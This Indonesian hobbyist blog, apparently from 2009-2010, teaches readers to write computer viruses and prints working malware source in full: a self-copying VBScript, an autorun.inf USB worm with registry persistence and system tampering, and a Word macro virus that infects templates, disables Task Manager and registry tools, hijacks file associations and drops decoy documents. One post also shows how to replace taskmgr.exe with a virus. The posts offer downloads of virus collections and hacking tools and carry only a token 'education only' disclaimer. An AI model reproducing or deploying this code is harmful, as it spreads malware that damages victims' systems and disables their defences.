Hoho, Ok, sesuai dengan judul diatas, maka tutorial kali ini dalam label Vimaker tutor.
Pintu Kaya akan memberikan tutorial membuat virus yang dimana virus itu ketika dijalankan dapat mengcopy dirinya (virus tsb) kedalam direktori lain...
Nah, daripada kebanyakan basa-basi lebih baik kita langsung saja tutorial membuat Virus ini.
Masuk Notepad kemudian tulis script di bawah ini :CreateObject("Scripting.FileSystemObject").GetFile(WScript.ScriptFullName).Copy "c:\windows\system32\virus.vbs" Ada juga cara lain dengan kide seperti ini:
On Error Resume Next
createobject("scripting.filesystemobject").copyfil e wscript.scriptfullname,
createobject("scripting.filesystemobject")
.getspecialfolder(1) & "\virus.vbs"
misalnya untuk mengkopikan diri ke direktory C:\WINDOWS\System32
dengan nama virus.vbs
.getspecialfolder(0) digunakan untuk direktory WINDOWS
.getspecialfolder(1) digunakan untuk direktory SYSTEM32 pada windowsXP
.getspecialfolder(2) digunakan untuk direktory Temporary
2.simpan dengan nama yg kamu ska.vbs Ingat akhirannya harus berakhiran .vbs
Nah sudah segitu aja dulu Tutorial kali ini. See you next time, dilain kesempatan berikutnya dalam membuat virus sederhana lainnya.
Sabtu, 13 Maret 2010
Jumat, 12 Maret 2010
downloads virus
Cara mudah memasukan virus buatan kita!!
Hehehehe, Gokil juga kalo virus kita ternyata bisa dengan mudah masuk ke sistem orang lain akibat kesalahannya sendiri. Gue pernah nyoba ini, dan hasilnya BINGO!!! Virus gue masuk dengan jumawa… Hwuahahahaha…..
Caranya gimana Kobu?
Gampang banget Bos!! Gue mainnya dengan menggunakan CTRL + ALT + DEL…. pernah mendengar istilah ini? Pastinya! Kita sering memanggil task manager dengan cara seperti ini, tapi apa yang terjadi jika yang kita panggil bukanlah task manager, tapi virus kita?
Ini baru GOKIL!
caranya gue kasih tau :
Mencari file bernama taskmgr.exe yang biasanya tersimpan di C:\Windows\System32\taskmgr.exe (pada umumnya)
1. Ambilah sample program / virus yang bakal lu pake sebagai Gorila percobaan, misal lu punya program bernama kobu.exe, gantilah namanya menjadi taskmgr.exe
2. Sekarang lu pergi untuk mencari file aplikasi Task Manager asli milik windows, yang umumnya ditemukan di C:\windows\system32\taskmgr.exe (meskipun tidak semua ada di sini)
3. Gantilah nama file aplikasi Task Manager asli windows dengan nama lain ( missal taskmg.exe, kobu.exe, kobuganteng.exe atau apa aja asal jangan nama taskmgr.exe)
4. Copykan virus / program yang tadi lu siapkan yang telah diganti namanya menjadi taskmgr.exe
5. Coba buktikan, lu tekan deh tuh CTRL+ALT+DEL, hayooo siapa yang muncul !
Hehehehehehe :-P :-D
Kalo mau coba, nih gue sediain 600 virus lokal dan non lokal yang gue kumpulin sejak gue jabang bayi, heheh .. mau? klik di sini aja download virus
Hehehehe, Gokil juga kalo virus kita ternyata bisa dengan mudah masuk ke sistem orang lain akibat kesalahannya sendiri. Gue pernah nyoba ini, dan hasilnya BINGO!!! Virus gue masuk dengan jumawa… Hwuahahahaha…..
Caranya gimana Kobu?
Gampang banget Bos!! Gue mainnya dengan menggunakan CTRL + ALT + DEL…. pernah mendengar istilah ini? Pastinya! Kita sering memanggil task manager dengan cara seperti ini, tapi apa yang terjadi jika yang kita panggil bukanlah task manager, tapi virus kita?
Ini baru GOKIL!
caranya gue kasih tau :
Mencari file bernama taskmgr.exe yang biasanya tersimpan di C:\Windows\System32\taskmgr.exe (pada umumnya)
1. Ambilah sample program / virus yang bakal lu pake sebagai Gorila percobaan, misal lu punya program bernama kobu.exe, gantilah namanya menjadi taskmgr.exe
2. Sekarang lu pergi untuk mencari file aplikasi Task Manager asli milik windows, yang umumnya ditemukan di C:\windows\system32\taskmgr.exe (meskipun tidak semua ada di sini)
3. Gantilah nama file aplikasi Task Manager asli windows dengan nama lain ( missal taskmg.exe, kobu.exe, kobuganteng.exe atau apa aja asal jangan nama taskmgr.exe)
4. Copykan virus / program yang tadi lu siapkan yang telah diganti namanya menjadi taskmgr.exe
5. Coba buktikan, lu tekan deh tuh CTRL+ALT+DEL, hayooo siapa yang muncul !
Hehehehehehe :-P :-D
Kalo mau coba, nih gue sediain 600 virus lokal dan non lokal yang gue kumpulin sejak gue jabang bayi, heheh .. mau? klik di sini aja download virus
Cara buat virus 2
Cara Bikin Virus
Gimana perasaan mu kalo komputermu terjangkit virus brontok b, Trojan, Worm, atau bahkan yang keren sekarang adalah virus Conficker?
Ngerasa Bete? Kesel? Atau membuatmu bernafsu untuk membanting komputermu keras-keras? Hehehehe, LEBAY!
Tapi apa yang kamu rasakan kalo ternyata kamu melihat komputer orang lain terjangkit virus dengan nama mu sendiri? Udin.vbs, Tukimin.vbs, atau apapun lah namamu akan tertera di virus itu atau mungkin juga pesanmu akan muncul setelah virus mu berhasil masuk ke dalam sistem komputer orang lain… Gimana? menyenangkan bukan?
Jadi kenapa mesti jengkel komputermu terkena virus, AYO bikin virus sendiri.. caranya gampang… banyak sofware yang mendukung melakukan aksimu ini…
ada fast firus engine dan VB virus maker… bisa kamu download di sini dan di sini
atau software lainnya yang sama-sama mantap juga bisa kamu download di free software kobu’s download
Atau panduannya juga bisa kamu baca di :
1. membuat virus makro
2. membuat virus autorun,inf
September 5, 2009 Posted by kobubodoh | cara bikin virus | | No Comments Yet
cara bikin virus autorun.inf
sumber : http://oktavianus.wordpress.com/2007/12/16/membuat-dan-menghapus-virus-autorun-tanpa-antivirus/#more-146
Adapun cara membuat virus autorun sebagai berikut
1. script coding pertama
[autorun]
shellexecute=wscript.exe k4l0n6.sys.vbs
simpan coding tersebut dengan nama dan ekstensi file “autorun.inf” (tanpa tanda petik)
2. script coding kedua
‘Kalong-X2
‘Varian dari Kalong.VBS
on error resume next
‘Dim kata-kata berikut
dim rekur,syspath,windowpath,desades,longka,mf,isi,tf,kalong,nt,check,sd
’siapkan isi autorun
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.sys.vbs”
set longka = createobject(”Scripting.FileSystemObject”)
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
‘buat file induk
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 32
set tf = longka.createtextfile(syspath & “\recycle.vbs”,2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & “\recycle.vbs”)
tf.attributes = 39
’sebar ke removable disc ditambahkan dengan Autorun.inf
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path <> “A:” then
set tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)
tf.attributes =32
set tf=longka.createtextfile(desades.path &”\k4l0n6.sys.vbs”,2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &”\k4l0n6.sys.vbs”)
tf.attributes = 39
set tf =longka.getfile(desades.path &”\autorun.inf”)
tf.attributes = 32
set tf=longka.createtextfile(desades.path &”\autorun.inf”,2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &”\autorun.inf”)
tf.attributes=39
end if
next
‘Manipulasi Registry
set kalong = createobject(”WScript.Shell”)
‘Ubah IE Title
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,”:: X2 ATTACK ::”
‘Ubah tulisan pertama pada text box menu RUN
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\a”, “KALONG-X2/1″
kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\MRUList”, “a”
‘Buat pesan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “KALONG-X2″
kalong.RegWrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”, “Komputer Anda Diambil Alih”
‘Aktifkan saat Windows Startup
kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Ageia”, syspath & “\recycle.vbs”
‘Ubah Default Start Page Internet Explorer
kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page”, “http://www.vaksin.com”
‘Bonus
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname
simpan coding tersebut dengan nama dan ekstensi file “k4l0n6.sys.vbs” (tanpa tanda petik)
secara otomatis virus tersebut akan menyebar melalui flashdisk dan menginfeksi komputer yang kita gunakan. Untuk mengetahui komputer terkena virus autorun dapat menggunakan software iKnowPS sehingga akan terlihat frekuensi tampilan kerja komputer yang terlihat sangat sibuk.
Adapun cara menanggulangi virus tersebut yaitu dengan cara
- tekan menu Tools > Folder Options… > View > unchek Hide Protected operating system files (Recommended) > yes > OK
- sehingga secara otomatis akan terlihat tampilan file virus yang terhidden tersebut
virautorun.gif
- langkah selanjutnya yaitu dengan cara membuka dan mempelajari script coding file virus tersebut. Dan mempelajari bagian-bagian mana saja yang settingannya dirubah, terutama pada register editor (menu run > ketik regedit > OK)
- setelah itu, file tersebut dihapus/di delete dari komputer
semoga tulisan ini, bisa bermanfaat dan berguna untuk semua orang.
September 5, 2009 Posted by kobubodoh | bikin virus autorun.inf | | No Comments Yet
Cara Bikin Virus Makro
CARA MEMBUAT VIRUS MACRO
Buka Ms.Word (hanya contoh)
buka tools > Macro> Visual Basic Editor
Akan muncul gambar di bawah
Lalu kita ketikkan source virus nya pada kotak putih diatas dan akan tampak gambar seperti dibawah ini.
Sekarang muncul pertanyaan! Source yang bagaimana yang harus diketik???
Tenang, aku dah siapkan kok sourcenya. Makan neh source code!
‘This is my code’s virus
‘
‘Fuck Gates. Your software has small weakness. Watch it!
‘
‘Macro Viruses
‘[Macroid]
‘
‘Hanya untuk pembelajaran
Private Sub Document_Close()
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(”Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(”windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
If Dir(Environ$(”windir”) & “\Macroid.doc”) = “” Then
Dim isicrita As String
isicrita = “[Macroid] by Morphic” & vbCrLf & “Copyright(c) Medan Juli-2008″ & vbCrLf & vbCrLf & _
Chr(34) & “Ms.Word is a thing that can be used as a power to break everything…. ” & Chr(34) & vbCrLf & “(Morphic)”
Open Environ$(”windir”) & “\Macroid.doc” For Output As #1
Print #1, isicrita
Close #1
End If
If Dir(Environ$(”windir”) & “\avmc.vbs”) = “” Then
Open Environ$(”windir”) & “\avmc.vbs” For Output As #1
Print #1, “set fs = createobject(” & Chr(34) & “Scripting.FileSystemObject” & Chr(34) & “)”
Print #1, “for each FD in fs.drives”
Print #1, “if (FD.Drivetype = 1) and FD.Path <> ” & Chr(34) & “A:” & Chr(34) & ” then”
Print #1, “set tf = fs.CreateTextFile(FD.Path” & Chr(38) & Chr(34) & “\Jangan di baca.doc” & Chr(34) & “)”
Print #1, “end if”
Print #1, “Next”
Close #1
End If
ActiveDocument.Save
NormalTemplate.Save
End Sub
Private Sub Document_Open()
CommandBars(”Tools”).Controls(”Macro”).Visible = False
CommandBars(”Tools”).Controls(”Macro”).Enabled = False
CommandBars(”Tools”).Controls(”Customize…”).Visible = False
CommandBars(”Tools”).Controls(”Options…”).Visible = False
Dim AD, NT As Object
Dim isi As String
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If AD.Name <> “Macroid” Then
AD.CodeModule.DeleteLines 1, AD.CodeModule.CountOfLines
AD.Name = “Macroid”
isi = NT.CodeModule.Lines(1, NT.CodeModule.CountOfLines)
AD.CodeModule.AddFromString isi
ActiveDocument.Save
End If
If NT.Name <> “Macroid” Then
NT.CodeModule.DeleteLines 1, NT.CodeModule.CountOfLines
NT.Name = “Macroid”
isi = AD.CodeModule.Lines(1, AD.CodeModule.CountOfLines)
NT.CodeModule.AddFromString isi
NormalTemplate.Save
End If
If InStr(ActiveDocument.Content, “Macroid”) = 0 Then
ActiveDocument.Content = “[Macroid]” & vbCrLf & ActiveDocument.Content & vbCrLf & vbCrLf & vbCrLf & “[Macroid] by Morphic” & vbCrLf & “copyright(c) Medan Juli-2008″
End If
On Error Resume Next
Dim b As Object
Set b = CreateObject(”Wscript.Shell”)
b.regwrite “HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Window Title”, “Browser Internet ini diambil alih oleh Macroid”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “Macroid”
b.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”, “VM-Morphic”
b.regwrite “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText”, “Macroid-A. Eat this!!! Ha ha ha”
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “2″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″
b.regwrite “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt”, “1″
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\”, “Tong Sampah Macroid”
b.regwrite “HKLM\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\”, “Komputer Morphic”
b.regwrite “HKLM\SOFTWARE\Classes\exefile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\comfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\vbsfile\shell\edit\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\txtfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\scrfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\batfile\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shell\”, “0pen”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\”, “&Open”
b.regwrite “HKLM\SOFTWARE\Classes\Folder\shellpen\command\”, “wscript.exe ” & Environ$(”windir”) & “\avmc.vbs”
b.regwrite “HKLM\SOFTWARE\Classes\VisualBasic.Project\shell\open\command\”, “Winword.exe ” & Environ$(”windir”) & “\Macroid.doc”
On Error Resume Next
Dim rog As Integer
Dim atr, vbs, Tipu(10), Trik(10) As String
For a = 66 To 90
partisi = Chr$(a)
vbs = partisi & “:\auto.vbs”
atr = partisi & “:\autorun.inf”
Tipu(1) = partisi & “:\Soal SPMB 1995-2008.doc”
Tipu(2) = partisi & “:\Kisah di balik HarryPotter.doc”
Tipu(3) = partisi & “:\Titip File sebentar.doc”
Tipu(4) = partisi & “:\jangan di baca.doc”
Tipu(5) = partisi & “:\buku harian.doc”
Tipu(6) = partisi & “:\cerita hangat.doc”
Tipu(7) = partisi & “:\Punya Baim.doc”
Tipu(8) = partisi & “:\Teka-teki yang baru.doc”
Tipu(9) = partisi & “:\Kumpulan cerita lucu.doc”
Tipu(10) = partisi & “:\Trik Sulap.doc”
If Dir(Tipu(1)) = “” And Dir(Tipu(2)) = “” And Dir(Tipu(3)) = “” And Dir(Tipu(4)) = “” And Dir(Tipu(5)) = “” And Dir(Tipu(6)) = “” And Dir(Tipu(7)) = “” And Dir(Tipu(8)) = “” And Dir(Tipu(9)) = “” And Dir(Tipu(10)) = “” Then
Randomize
rog = Int(10 * Rnd) + 1
Open Tipu(rog) For Output As #1
Print #1, “”
Close #1
End If
Trik(1) = partisi & “:\Novel J.K.Rowling.doc”
Trik(2) = partisi & “:\cerita cinta.doc”
Trik(3) = partisi & “:\Ringkasan cerita HarryPotter.doc”
Trik(4) = partisi & “:\Semua Cheat game DOTA.doc”
Trik(5) = partisi & “:\Kumpulan Cheat game.doc”
Trik(6) = partisi & “:\Cheat game RF.doc”
Trik(7) = partisi & “:\Cheat game Ayo Dance.doc”
Trik(8) = partisi & “:\Goosebumps.doc”
Trik(9) = partisi & “:\FearStreet.doc”
Trik(10) = partisi & “:\R.L.Stine.doc”
If Dir(Trik(1)) = “” And Dir(Trik(2)) = “” And Dir(Trik(3)) = “” And Dir(Trik(4)) = “” And Dir(Trik(5)) = “” And Dir(Trik(6)) = “” And Dir(Trik(7)) = “” And Dir(Trik(8)) = “” And Dir(Trik(9)) = “” And Dir(Trik(10)) = “” Then
Randomize
rogi = Int(10 * Rnd) + 1
Open Trik(rogi) For Output As #1
Print #1, “”
Close #1
End If
Open atr For Output As #1
Print #1, “[Autorun]“
Print #1, “shell\Open\command=wscript.exe auto.vbs”
Close #1
SetAttr atr, vbHidden + vbSystem
Open vbs For Output As #1
Print #1, “dim a”
Print #1, “set a = createobject(” & Chr(34) & “Wscript.shell” & Chr(34) & “)”
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\10.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\11.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Print #1, “a.regwrite ” & Chr(34) & “HKCU\Software\Microsoft\Office\12.0\Word\Security\Level” & Chr(34) & “,” & Chr(34) & “1″ & Chr(34) & “,” & Chr(34) & “REG_DWORD” & Chr(34)
Close #1
SetAttr vbs, vbHidden + vbSystem
Next a
End Sub
Hati –hati dengan source diatas. Karena lumayan bikin pening juga. Tapi maaf ya kalo aku gak bisa jelasinnya sekarang. Karena kalo aku jelasin nanti tutorial ini terlalu panjangggggggggggggggg……. Makanya penjelasan mengenai source di atas aku buat di tutorial kedua.
EFEK-EFEK KECIL DAN TANDA-TANDA TERINFEKSI
Nah coba tebak mana file virus dan mana file yang bukan virus!!!!!!!!
Jawabannya lihat di bawah!!
September 5, 2009 Posted by kobubodoh | bikin virus makro | | No Comments Yet
Blog Untuk Mereka Yang Mau Belajar Jadi Hacker!!
Hai, Sobat…. SirajaKobu kembali beraksi… hehehe, :-)
Kini gue membuat blog untuk mereka yang ingin mencoba belajar buat jadi hacker pemula, tapi gayanya sudah seperti hacker handal… kenapa tidak? Gampang!!
Sudah tersedia kumpulan software-software yang bisa kita pelajari dan gunakan untuk pengetahuan awal kita sebagai hacker. Tapi gue pribadi berharap bahwa blog ini DIGUNAKAN SEBAIK-BAIKNYA dan hanya UNTUK PENDIDIKAN bukan ISENG… tapi boleh aja kalo kepepet…. hehehe, tapi dosa dan akibatnya tanggung aja sendiri. (ya iyalah!)
banyak jalan menuju Roma, dan banyak jalan buat bisa nge-hack… caranya?
klik aja di disini Download tools hack
Selain itu juga tersedia beberapa ebook gratis yang bisa didownload cuma-cuma dengan klik Ebook gratisnya kobu
September 5, 2009 Posted by kobubodoh | Sapa Kobu | | No Comments Yet
*
Authors
o kobubodoh
*
Search for:
*
Pages
o Download Ebook Gratis, Bro!!!
o Free Software Download
*
kobubodoh
*
Anda Pengunjung ke
o 1,866 orang
*
*
March 2010 M T W T F S S
« Sep
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
*
Blogroll
o BFUB XII
o Google Analytics
o Lintas BErita
o Technorarti
o WordPress.com
o WordPress.org
*
Top Link
o Cari Crack dan Keygen untuk semua software
*
*
Recent Comments
kobubodoh on Nge-hack password komputer ora…
poetrasadewa on Nge-hack password komputer ora…
Can on Free Software Download
Ibenk on Free Software Download
kobubodoh on Agar Komputer Kita Aman dari V…
*
Klik tertinggi
o freewarefiles.com/downloa…
*
VodPodPod
[Pretty freakin' amazing.]
Moving Train hit by Tornado
216 views
11 Mar 10
01
[I think this is the sequel to this... http://vodpod.com/watch/2788543-vh1-reality-show-bus-crashes-in-california-causing-major-slut-spill]
Breaking News: Some Bullshit Happening Somewhere
182 views
11 Mar 10
02
Raaaaaaaandy Declares War On Justin Bieber (Video)
543 views
09 Mar 10
03
Zach Galifianakis Opens SNL
568 views
08 Mar 10
04
[Young Zach Galifianakis at the end is genius.]
SNL: Zach Drops by the Set
316 views
08 Mar 10
05
see all 760 videos >
I collect with
vodpod
Previous 5
Next 5
*
o RSS - Posts
o RSS - Comments
*
Meta
o Log in
o Entries RSS
o Comments RSS
o WordPress.com
*
Pages
o Download Ebook Gratis, Bro!!!
o Free Software Download
*
SocialVibe
*
Spam Blocked
2 spam comments
blocked by
Akismet
*
Category Cloud
bikin virus autorun.inf Bikin virus kita masuk ke sistem bikin virus makro Bikin virus Worm dengan VBSWG cara bikin virus cara bunuh virus .vbs Cara ngehack password windows Hacking Yahoo messenger Tool Sapa Kobu top ten virus di indonesia
*
Archives
o September 2009 (10)
*
Categories
o Bikin virus kita masuk ke sistem
o Bikin virus Worm dengan VBSWG
o cara bikin virus
+ bikin virus autorun.inf
+ bikin virus makro
o cara bunuh virus .vbs
o Cara ngehack password windows
o Hacking Yahoo messenger Tool
o Sapa Kobu
o top ten virus di indonesia
*
RSS
Entries RSS
Comments RSS
Site info
Gimana perasaan mu kalo komputermu terjangkit virus brontok b, Trojan, Worm, atau bahkan yang keren sekarang adalah virus Conficker?
